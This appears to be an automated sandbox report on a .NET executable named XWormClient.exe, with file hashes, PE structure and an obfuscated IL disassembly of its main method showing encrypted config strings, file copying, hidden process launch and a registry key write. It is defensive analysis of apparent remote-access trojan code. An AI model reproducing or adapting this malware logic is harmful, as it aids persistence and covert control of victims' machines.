Suspicious
Suspect

3c4f9d2346850b1daf329b5bb9daa18d

PE Executable
MD5: 3c4f9d2346850b1daf329b5bb9daa18d
Size: 141.31 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score High
MD5 3c4f9d2346850b1daf329b5bb9daa18d
Sha1 efeb78efd4f559b344339da15c94aed6a8535682
Sha256 f1a75d5acaf8fa5a809bc814958cdd466d22aef012641f756e8bb16f04eb2556
Sha384 851202c6d86df24087a94e225f1fae959661d0ce1e99b9add133058373905746f6818b6dda50f08f10f3d6ab6d1abfbe
Sha512 e58606c3aa43c0fc122d3e00ecbd832e33bc01147c95b4b1af0d4b2e0a900b07868d3d94eabb73310ccda5ecbed8de29c91ca0ca19967cfabbef4475976ea642
SSDeep 3072:WIkVg7JSGNcRHjquJ22Pqxfmaogrhb5RyZFo:WIxVSGCifmvMhbD
TLSH CAD33A6EFFA24C14C64E4EB3C4A351444BB9D897542BF7E725C91CB99CE2C2D8C8B690
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
3c4f9d2346850b1daf329b5bb9daa18d
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
STICH beta

No STICH Path has been generated for this analysis yet.

1 structural branch were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 1
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint 
System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::6MhcRV6lNl8vXuyXqawdy8xOzWE9TYiln9UWom81Qr4xNBlCVCQkfTp4g()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method 
System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::6MhcRV6lNl8vXuyXqawdy8xOzWE9TYiln9UWom81Qr4xNBlCVCQkfTp4g()
Main IL Instruction Count
665
Main IL 
ldsfld System.Int32 MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::hjDS3riJrRlnslKbUoy8gXgCGFyfMle7daAusm3Mxl0lhxFS5CCbCmGxd
ldc.i4 1000
mul.ovf <null>
ldc.i4 240
ldc.i4 201
call System.Void Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴄ(System.Int32,System.Char,System.Int32)
ldc.i4.s 9
stloc.s V_21
ldloc.s V_21
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::Emp07UcFEeHiIBcZsVdPstDvInaiLw4DVDhedxJVevfqou2yDMmIioBE1
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 284
ldc.i4 333
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::Emp07UcFEeHiIBcZsVdPstDvInaiLw4DVDhedxJVevfqou2yDMmIioBE1
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::vw9oHOIEEztOu1XBgA03ZAWlB4MqS4yvGoLJVwyVPRtepMPmcNL2PWxqQ
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 658
ldc.i4 707
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::vw9oHOIEEztOu1XBgA03ZAWlB4MqS4yvGoLJVwyVPRtepMPmcNL2PWxqQ
ldc.i4.5 <null>
stloc.s V_21
br.s IL_001E: ldloc.s V_21
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XbuaiKz0GhERozlQNFJCcAzt2cdFpiT6nLCEzNXVcKbxd2ZPaCwWoAZSR
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 453
ldc.i4 404
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XbuaiKz0GhERozlQNFJCcAzt2cdFpiT6nLCEzNXVcKbxd2ZPaCwWoAZSR
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::ItGNfPeJtXE2ZLjXB0FlW4ioMt7RuskibiulQoQDR3zoZnvuD26WOvdW0
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 889
ldc.i4 808
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::ItGNfPeJtXE2ZLjXB0FlW4ioMt7RuskibiulQoQDR3zoZnvuD26WOvdW0
ldc.i4.7 <null>
stloc.s V_21
br IL_001E: ldloc.s V_21
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::geLpNqkd93vaVsBvVofqJuZLyzKvLoSjzwWfENZxIwt7Mf6Z1iBkUF2S6
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 282
ldc.i4 331
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::geLpNqkd93vaVsBvVofqJuZLyzKvLoSjzwWfENZxIwt7Mf6Z1iBkUF2S6
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::ChigrKnpHbXXEYJMF5f2zAisLWv0Wkj5qzr3jnIm4ur4IqMtT6kd5Qgpg
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4.s 99
ldc.i4.s 50
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::ChigrKnpHbXXEYJMF5f2zAisLWv0Wkj5qzr3jnIm4ur4IqMtT6kd5Qgpg
ldc.i4.3 <null>
stloc.s V_21
br IL_001E: ldloc.s V_21
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::QL2WElctzLArtUjpU23KARSpsodwhG0HyXlOQQkgMJVZdoBqerZjsbFgO
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 785
ldc.i4 832
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 936
ldc.i4 980
call System.String Stub.VjrNV3RlsVhWCvRbxhf0Gz0Z7SCcDZlh6JU7ZfbmTPXOn7vXw4OaHyCvn9PwYKeVuOCgUuEcz4WRoXYqUD2Mwj3Z6X::Ⴈ<System.String>(System.String,System.Int32,System.Char)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::QL2WElctzLArtUjpU23KARSpsodwhG0HyXlOQQkgMJVZdoBqerZjsbFgO
ldc.i4.6 <null>
stloc.s V_21
br IL_001E: ldloc.s V_21
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4.s 123
ldc.i4.s 42
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::fZbXhJU59RNt6WMTsen2lJoNd2jvlMcjNdiiybKP84jTGyPeHzqTEcH65
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 179
ldc.i4 226
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::fZbXhJU59RNt6WMTsen2lJoNd2jvlMcjNdiiybKP84jTGyPeHzqTEcH65
ldc.i4.2 <null>
stloc.s V_21
br IL_001E: ldloc.s V_21
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::QKlt3CpYRYk70T0cvy9kHlfGlSZd4fgUfHpohdh6fA0lDofpgl4RzGmPE
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 709
ldc.i4 660
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::QKlt3CpYRYk70T0cvy9kHlfGlSZd4fgUfHpohdh6fA0lDofpgl4RzGmPE
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XTNaDZJbMgVF3DbuBPN3iRG3kR9IMLBzbCM5OjapjzbUgXgzG2im4wM8V
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 957
ldc.i4 1004
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XTNaDZJbMgVF3DbuBPN3iRG3kR9IMLBzbCM5OjapjzbUgXgzG2im4wM8V
leave.s IL_01F3: ldc.i4.2
dup <null>
ldc.i4 392
ldc.i4 435
call System.Void Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 895
ldc.i4 837
call System.Void Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴄ(System.Int32,System.Char,System.Int32)
ldc.i4 248
ldc.i4 221
call System.Void Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴍ(System.Char,System.Int16)
leave.s IL_01F3: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴈ.Ⴃ::Ⴀ()
brtrue.s IL_0231: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_23
br.s IL_01F6: ldloc.s V_23
ldc.i4.0 <null>
ldc.i4 217
ldc.i4 227
call System.Void Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴄ(System.Int32,System.Char,System.Int32)
ldc.i4.4 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::tZ1O9uMlGGAUOmbiwkHWbW08jrc2cez7c60jniri55F8nAylDsKDCspY7()
leave.s IL_0279: ldc.i4.3
dup <null>
ldc.i4 876
ldc.i4 855
call System.Void Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_4
ldc.i4 507
ldc.i4 478
call System.Void Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴍ(System.Char,System.Int16)
leave.s IL_0279: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::N6llSokc5h6BKui73b58YnePCX4e7JCPoCFN3ZaAmSOsfqBRemULD1DiZ()
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::QL2WElctzLArtUjpU23KARSpsodwhG0HyXlOQQkgMJVZdoBqerZjsbFgO
ldc.i4.s 11
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1458553786
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
ldc.i4 625
ldc.i4 597
call System.String Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴄ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Char)
stloc.0 <null>
ldc.i4.1 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 698
ldc.i4 651
call System.IO.DirectoryInfo Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg::Ⴓ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int16)
ldc.i4 640
ldc.i4 698
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::ႠႭ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Char,System.Int16)
stloc.s V_5
ldc.i4.6 <null>
stloc.s V_29
br.s IL_02C7: ldloc.s V_29
ldloc.s V_5
ldc.i4.2 <null>
ldc.i4.s 83
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 254
ldc.i4 177
call System.Boolean My.s7Xl0mUgDXTAXirbj2VMhW3Xl9PHlV0rqXHcmNYzlDb65AlObngG4Mg5zxgQTLd5SpyQrw4y::Ⴅ<System.String>(System.String,System.Int32,System.Char)
brtrue.s IL_0349: ldc.i4.0
ldc.i4.5 <null>
stloc.s V_29
br IL_02C7: ldloc.s V_29
ldc.i4.0 <null>
br.s IL_0342: stloc.s V_29
ldloc.s V_5
ldc.i4.0 <null>
ldc.i4.s 81
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 257
ldc.i4 285
call System.IO.DirectoryInfo Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::Ⴗ<System.String>(System.String,System.Char,System.Char)
pop <null>
ldc.i4.0 <null>
stloc.s V_29
br IL_02C7: ldloc.s V_29
ldloc.0 <null>
castclass System.String
ldc.i4 421
ldc.i4 501
call System.Boolean My.s7Xl0mUgDXTAXirbj2VMhW3Xl9PHlV0rqXHcmNYzlDb65AlObngG4Mg5zxgQTLd5SpyQrw4y::Ⴅ<System.String>(System.String,System.Int32,System.Char)
brfalse.s IL_038E: ldc.i4.3
ldc.i4.s 9
stloc.s V_29
br IL_02C7: ldloc.s V_29
ldc.i4.3 <null>
br.s IL_0387: stloc.s V_29
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
castclass System.IO.FileInfo
ldc.i4 376
ldc.i4 307
call System.Void Stub.W3ZD2x9xtumR05Rn0xdP58snSnx4OSJv::Ⴜ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int16)
ldc.i4 1000
ldc.i4 524
ldc.i4 565
call System.Void Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴄ(System.Int32,System.Char,System.Int32)
ldloc.0 <null>
isinst System.String
ldsfld System.String Ⴈ.Ⴃ::Ⴍ
ldc.i4.s 111
ldc.i4.s 100
call System.Byte[] Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg::Ⴐ<System.String>(System.String,System.Int32,System.Char)
ldc.i4 649
ldc.i4 746
call System.Void Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴗ<System.String>(System.String,System.Byte[],System.Int32,System.Int16)
leave.s IL_0410: ldc.i4.4
dup <null>
ldc.i4 1008
ldc.i4 971
call System.Void Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_7
ldc.i4 917
ldc.i4 944
call System.Void Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴍ(System.Char,System.Int16)
leave.s IL_0410: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4 137
ldc.i4.2 <null>
ldnull <null>
ldc.i4 1458553945
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4.s 93
ldc.i4.s 33
call System.Void My.5KgaZpRBAMJVZwmQXGY0yyGl44M90Mcjo7BhroTWvbG44okAdP2DqSSLKuW2pcrRivON2RLU::Ⴐ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int16,System.Int32)
ldc.i4.8 <null>
stloc.s V_31
br.s IL_0413: ldloc.s V_31
call System.String Stub.lSucOCBm5DSMwceWLZzrf2VeeOqdxtXHYcsDtkYlcG5HUVAfXaXupHtWH::lVMvaOXTfCGmKCX8tayai4LtF6GLFSdwmEnnIZ0TzJzwpUjbwwUdQBIz9()
ldc.i4 139
ldc.i4 218
call System.Boolean My.s7Xl0mUgDXTAXirbj2VMhW3Xl9PHlV0rqXHcmNYzlDb65AlObngG4Mg5zxgQTLd5SpyQrw4y::Ⴅ<System.String>(System.String,System.Int32,System.Char)
brfalse.s IL_0487: ldc.i4.0
ldc.i4.2 <null>
stloc.s V_31
br.s IL_0413: ldloc.s V_31
ldc.i4.0 <null>
br.s IL_0483: stloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
castclass System.String[]
ldc.i4.0 <null>
ldc.i4.s 98
ldc.i4.7 <null>
ldnull <null>
ldc.i4 1458553939
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
ldc.i4 701
ldc.i4 704
call System.String Stub.VjrNV3RlsVhWCvRbxhf0Gz0Z7SCcDZlh6JU7ZfbmTPXOn7vXw4OaHyCvn9PwYKeVuOCgUuEcz4WRoXYqUD2Mwj3Z6X::Ⴈ<System.String>(System.String,System.Int32,System.Char)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.2 <null>
ldc.i4.s 97
ldc.i4.8 <null>
ldnull <null>
ldc.i4 1458553964
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldc.i4 199
ldc.i4.1 <null>
ldnull <null>
ldc.i4 1458553601
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4 223
ldc.i4 167
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg::Ⴗ(System.String[],System.Int32,System.Char)
ldc.i4 816
ldc.i4 883
call System.Void Stub.W3ZD2x9xtumR05Rn0xdP58snSnx4OSJv::Ⴍ<System.Diagnostics.ProcessStartInfo,System.String>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int16)
ldc.i4.3 <null>
stloc.s V_31
br IL_0413: ldloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
castclass System.String[]
ldc.i4.0 <null>
ldc.i4 143
ldc.i4.7 <null>
ldnull <null>
ldc.i4 1458555797
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.1 <null>
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
ldc.i4 590
ldc.i4 563
call System.String Stub.VjrNV3RlsVhWCvRbxhf0Gz0Z7SCcDZlh6JU7ZfbmTPXOn7vXw4OaHyCvn9PwYKeVuOCgUuEcz4WRoXYqUD2Mwj3Z6X::Ⴈ<System.String>(System.String,System.Int32,System.Char)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldc.i4.s 101
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1458553953
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldc.i4.s 114
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1458553603
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4 131
ldc.i4 251
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg::Ⴗ(System.String[],System.Int32,System.Char)
ldc.i4.2 <null>
ldc.i4.s 65
call System.Void Stub.W3ZD2x9xtumR05Rn0xdP58snSnx4OSJv::Ⴍ<System.Diagnostics.ProcessStartInfo,System.String>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int16)
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4 276
ldc.i4 291
call System.Diagnostics.Process My.5KgaZpRBAMJVZwmQXGY0yyGl44M90Mcjo7BhroTWvbG44okAdP2DqSSLKuW2pcrRivON2RLU::Ⴈ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Int16,System.Int32)
stloc.s V_8
ldloc.s V_8
isinst System.Diagnostics.Process
ldc.i4 267
ldc.i4 348
call System.Void Stub.nPxVeeUDdfCIJ8G2Xw6vgzMITUKsHDjR::Ⴜ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Int32,System.Int32)
leave.s IL_0627: ldc.i4.4
dup <null>
ldc.i4.s 58
ldc.i4.1 <null>
call System.Void Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_10
ldc.i4 151
ldc.i4 178
call System.Void Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴍ(System.Char,System.Int16)
leave.s IL_0627: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_33
ldloc.s V_33
switch dnlib.DotNet.Emit.Instruction[]
call My.5KgaZpRBAMJVZwmQXGY0yyGl44M90Mcjo7BhroTWvbG44okAdP2DqSSLKuW2pcrRivON2RLU My.TA0n5O7R4Jqs691DSxrd36DmmDNs4P4MXZNs3NnWxLNXu4CabmcpEg8rP::Ⴓ()
ldc.i4.s 76
ldc.i4.s 12
call Microsoft.VisualBasic.MyServices.RegistryProxy Stub.nPxVeeUDdfCIJ8G2Xw6vgzMITUKsHDjR::ႥႷ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Int16,System.Int16)
ldc.i4 926
ldc.i4 988
call Microsoft.Win32.RegistryKey Stub.VjrNV3RlsVhWCvRbxhf0Gz0Z7SCcDZlh6JU7ZfbmTPXOn7vXw4OaHyCvn9PwYKeVuOCgUuEcz4WRoXYqUD2Mwj3Z6X::ႨႭ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int16,System.Char)
ldc.i4.s 66
ldc.i4.4 <null>
ldnull <null>
ldc.i4 1458553811
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
ldc.i4 593
ldc.i4 577
call Microsoft.Win32.RegistryKey My.5KgaZpRBAMJVZwmQXGY0yyGl44M90Mcjo7BhroTWvbG44okAdP2DqSSLKuW2pcrRivON2RLU::Ⴍ<Microsoft.Win32.RegistryKey,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Int32)
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
